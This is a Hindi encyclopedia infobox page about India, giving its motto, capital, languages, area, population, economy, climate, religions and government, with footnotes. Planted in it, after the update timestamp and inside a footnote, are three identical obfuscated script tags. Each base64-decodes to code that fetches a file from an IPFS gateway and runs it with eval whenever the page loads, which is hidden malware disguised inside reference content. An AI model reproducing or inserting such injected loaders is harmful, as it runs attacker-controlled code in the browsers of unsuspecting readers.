साँचा:सूचना बक्सा भारत
भारत डिस्कवरी प्रस्तुति
| |||||
राष्ट्रवाक्य: "सत्यमेव जयते" (संस्कृत) सत्य ही विजयी होता है[1] | |||||
राष्ट्रगान: जन गण मन | |||||
राजधानी | नई दिल्ली 28° 34′ N 77° 12′ E | ||||
सबसे बड़े नगर | दिल्ली, मुम्बई, कोलकाता और चेन्नई | ||||
राजभाषा(एँ) | हिन्दी संघ की राजभाषा है, अंग्रेज़ी "सहायक राजभाषा" है। | ||||
अन्य भाषाएँ | बांग्ला, गुजराती, कन्नड़, मलयालम, मराठी और अन्य | ||||
सरकार प्रकार | गणराज्य द्रौपदी मुर्मू वेंकैया नायडू ओम बिड़ला नरेन्द्र मोदी डी. वाई. चन्द्रचूड़ | ||||
विधायिका -उपरी सदन
-निचला सदन |
भारतीय संसद राज्य सभा लोक सभा | ||||
स्वतंत्रता तिथि गणराज्य |
संयुक्त राजशाही से 15 अगस्त, 1947 26 जनवरी, 1950 | ||||
क्षेत्रफल - कुल - जलीय (%) |
32,87,263 किमी² (सातवां) 12,22,559 मील² 9.56 | ||||
जनसंख्या - 2011 - 2001 जनगणना - जनसंख्या घनत्व |
1,21,01,93,422[2] (द्वितीय) 1,02,70,15,248 382[2]/किमी² (27 वाँ) 954[3]/ मील² | ||||
सकल घरेलू उत्पाद (पीपीपी) - कुल - प्रतिव्यक्ति |
2012 अनुमान $4,824 अरब[4] $3,944[4] | ||||
सकल घरेलू उत्पाद (सांकेतिक) - कुल - प्रतिव्यक्ति |
2012 अनुमान $1,779 अरब[4] $1,454[4] | ||||
मानव विकास संकेतांक (एचडीआई) | 0.547 (134 वीं) – मध्यम | ||||
मुद्रा | भारतीय रुपया (आइएनआर (INR) )
| ||||
समय मण्डल - ग्रीष्म ऋतु (डेलाइट सेविंग टाइम) |
आइएसटी (IST) (UTC+5:30) अनुसरण नहीं किया जाता (UTC+5:30) | ||||
इंटरनेट टीएलडी | .in | ||||
वाहन चलते हैं | बाएं | ||||
दूरभाष कोड | ++91
| ||||
अन्य महत्वपूर्ण जानकारी
| |||||
सीमाओं में स्थित देश | उत्तर पश्चिम में अफ़ग़ानिस्तान और पाकिस्तान, उत्तर में भूटान और नेपाल; पूरब में म्यांमार, बांग्लादेश। श्रीलंका भारत से समुद्र के संकीर्ण नहर द्वारा अलग किया जाता है जो पाल्क स्ट्रेट और मन्नार की खाड़ी द्वारा निर्मित है। | ||||
समुद्र तट | 7,516.6 किलोमीटर जिसमें मुख्य भूमि, लक्षद्वीप और अण्डमान और निकोबार द्वीपसमूह शामिल हैं। | ||||
जलवायु | सर्दी (दिसम्बर-फ़रवरी); गर्मी (मार्च-जून); दक्षिण पश्चिम मानसून का मौसम (जून-सितम्बर); मानसून पश्च मौसम (अक्तूबर-नवम्बर) | ||||
भू-भाग | मुख्य भूमि में चार क्षेत्र हैं- ग्रेट माउन्टेन जोन, गंगा और सिंधु का मैदान, रेगिस्तान क्षेत्र और दक्षिणी पेनिंसुला। | ||||
प्राकृतिक संसाधन | कोयला, लौह अयस्क, मैगनीज अयस्क, माइका, बॉक्साइट, पेट्रोलियम, टाइटानियम अयस्क, क्रोमाइट, प्राकृतिक गैस, मैगनेसाइट, चूना पत्थर, अराबल लेण्ड, डोलोमाइट, माऊलिन, जिप्सम, अपादाइट, फोसफोराइट, स्टीटाइल, फ्लोराइट आदि। | ||||
प्राकृतिक आपदा | मानसूनी बाढ़, फ्लेश बाढ़, भूकम्प, सूखा, ज़मीन खिसकना। | ||||
जनसंख्या वृद्धि दर | औसत वार्षिक घातांकी वृद्धि दर वर्ष 2001-2011 के दौरान 1.64 प्रतिशत है। | ||||
लिंग अनुपात | 1000:940 (2011) | ||||
धर्म | वर्ष 2001 की जनगणना के अनुसार 1,028 मिलियन देश की कुल जनसंख्या में से 80.5 प्रतिशत के साथ हिन्दुओं की अधिकांशता है दूसरे स्थान पर 13.4 प्रतिशत की जनसंख्या वाले मुस्लिम इसके बाद ईसाई, सिख, बौद्ध, जैन और अन्य आते हैं। | ||||
साक्षरता | 74.04% (2011) पुरुष- 82.14% महिलाएं- 65.46% | ||||
सम्भावित जीवन दर | 65.8 वर्ष (पुरुष); 68.1 वर्ष (महिला)[5] | ||||
जातीय अनुपात | सभी पांच मुख्य प्रकार की जातियाँ- ऑस्ट्रेलियाड, मोंगोलॉयड, यूरोपॉयड, कोकोसिन और नीग्रोइड। | ||||
कार्यपालिका शाखा | भारत का राष्ट्रपति देश का प्रधान होता है, जबकि प्रधानमंत्री सरकार का प्रमुख होता है और मंत्रिपरिषद् की सहायता से शासन चलाता है जो मंत्रिमंडल मंत्रालय का गठन करते हैं। | ||||
न्यायपालिका शाखा | भारत का सर्वोच्च न्यायालय भारतीय कानून व्यवस्था का शीर्ष निकाय है इसके बाद अन्य उच्च न्यायालय और अधीनस्थ न्यायालय आते हैं। | ||||
अन्य जानकारी | भारत का राष्ट्रीय ध्वज आयताकार तिरंगा है जिसमें केसरिया ऊपर है, बीच में सफ़ेद, और बराबर भाग में नीचे गहरा हरा है। सफ़ेद पट्टी के केन्द्र में गहरा नीला चक्र है जो सारनाथ में अशोक चक्र को दर्शाता है। | ||||
बाहरी कड़ियाँ | भारत की आधिकारिक वेबसाइट | ||||
अद्यतन | 13:23, 11 नवम्बर 2022 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
- ↑
सत्यमेव जयते नानृतं सत्येन पंथा विततो देवयानः।
येनाक्रमन्त्यृषयो ह्याप्तकामा यत्र सत्सत्यस्य परमं निधानम्॥ - ↑ 2.0 2.1 India : Census 2011
- ↑ Population Density per Square Mile of Countries
- ↑ 4.0 4.1 4.2 4.3 Report for Selected Countries and Subjects (अंग्रेज़ी) (ए.एस.पी) International Monetory Fund। अभिगमन तिथि: 15 मई, 2012।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ सितम्बर 2006-2011 की स्थिति के अनुसार